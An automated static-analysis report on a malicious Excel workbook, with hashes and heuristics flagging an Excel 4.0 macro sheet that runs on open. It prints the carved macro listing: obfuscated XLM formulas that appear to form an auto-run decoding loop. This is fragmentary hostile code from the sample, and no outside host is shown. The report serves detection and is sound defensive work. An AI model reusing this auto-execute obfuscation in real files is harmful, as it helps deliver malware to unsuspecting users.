Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b97d2c52f9f2a18c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:46 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 3f9655921f5a6b86883aaed350ed523a SHA-1: bcaa71b6c5c73048469c8afb26ef6af944957b3d SHA-256: b97d2c52f9f2a18c190ffe5db6214dcf3388d5bdaddd520ebf6cca7adda49b5b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6735 bytes
SHA-256: 4e96badf29298bb8101f674543a8bfa94bc38bec14f10018d007471147cd1624
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uwUMErBw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C180 
' 0018     23 LABEL : Cell Value, String Constant - DxJgkMeO len=0 
' 0018     23 LABEL : Cell Value, String Constant - FFNRalHM len=0 
' 0018     20 LABEL : Cell Value, String Constant - Fqdjk len=0 
' 0018     26 LABEL : Cell Value, String Constant - FyUDAzFYmYH len=0 
' 0018     22 LABEL : Cell Value, String Constant - JMGlDTl len=0 
' 0018     23 LABEL : Cell Value, String Constant - KNmARJmL len=0 
' 0018     27 LABEL : Cell Value, String Constant - kOqytClYNzZc len=0 
' 0018     20 LABEL : Cell Value, String Constant - NIadw len=0 
' 0018     25 LABEL : Cell Value, String Constant - OMEyPCzyHm len=0 
' 0018     23 LABEL : Cell Value, String Constant - PurzKpOq len=0 
' 0018     25 LABEL : Cell Value, String Constant - taxwjVeHuF len=0 
' 0018     24 LABEL : Cell Value, String Constant - ubsRJfwBX len=0 
' 0018     25 LABEL : Cell Value, String Constant - uESbByevOK len=0 
' 0018     23 LABEL : Cell Value, String Constant - UILNXYjf len=0 
' 0018     21 LABEL : Cell Value, String Constant - UUbfsc len=0 
' 0018     20 LABEL : Cell Value, String Constant - vaRPD len=0 
' 0018     23 LABEL : Cell Value, String Constant - VJmRCgzA len=0 
' 0018     21 LABEL : Cell Value, String Constant - wWvKpI len=0 
' 0018     27 LABEL : Cell Value, String Constant - yLsDTrlkCmNX len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZEkvAiay len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uwUMErBw,R87,"",337.00000000000000000000
'  uwUMErBw,R88,"",-799.00000000000000000000
'  uwUMErBw,R89,"",-469.00000000000000000000
'  uwUMErBw,R90,"",766.00000000000000000000
'  uwUMErBw,R91,"",700.00000000000000000000
'  uwUMErBw,R92,"",-282.00000000000000000000
'  uwUMErBw,C95,"SET.NAME("Fqdjk",0+VALUE("0"))",""
'  uwUMErBw,C97,"SET.NAME("UILNXYjf",Fqdjk)",""
'  uwUMErBw,C100,"SET.NAME("UUbfsc",Fqdjk)",""
'  uwUMErBw,C105,"SET.NAME("NIadw",COUNTA(OMEyPCzyHm))",""
'  uwUMErBw,C108,"SET.NAME("ZEkvAiay",COUNTA(VJmRCgzA))",""
'  uwUMErBw,C111,[],""
'  uwUMErBw,C114,"SET.NAME("PurzKpOq","")",""
'  uwUMErBw,C118,"UILNXYjf",""
'  uwUMErBw,C120,"SET.NAME("wWvKpI",HLOOKUP("*",OMEyPCzyHm,UILNXYjf,FALSE))",""
'  uwUMErBw,C124,"kOqytClYNzZc",""
'  uwUMErBw,C129,"SET.NAME("JMGlDTl",Fqdjk)",""
'  uwUMErBw,C131,[],""
'  uwUMErBw,C133,"JMGlDTl",""
'  uwUMErBw,C136,"KNmARJmL",""
'  uwUMErBw,C141,"ubsRJfwBX",""
'  uwUMErBw,C144,"uESbByevOK",""
'  uwUMErBw,C146,"SET.NAME("DxJgkMeO",VALUE(HLOOKUP("*",VJmRCgzA,uESbByevOK,FALSE)))",""
'  uwUMErBw,C150,"taxwjVeHuF",""
'  uwUMErBw,C155,"PurzKpOq",""
'  uwUMErBw,C157,"UUbfsc",""
'  uwUMErBw,C159,NEXT(),""
'  uwUMErBw,C163,"yLsDTrlkCmNX",""
'  uwUMErBw,C168,[],""
'  uwUMErBw,C172,"FyUDAzFYmYH",""
'  uwUMErBw,C176,NEXT(),""
'  uwUMErBw,C178,RETURN(),""
'  uwUMErBw,C201,"SET.NAME("FFNRalHM",C95)",""
'  uwUMErBw,C206,"OMEyPCzyHm",""
'  uwUMErBw,C209,"SET.NAME("VJmRCgzA",R94C15)",""
'  uwUMErBw,C212,"SET.NAME("FyUDAzFYmYH",221)",""
'  uwUMErBw,C215,"SET.NAME("vaRPD",3)",""
'  uwUMErBw,C220,FFNRalHM(),""
'  uwUMErBw,C221,HALT(),""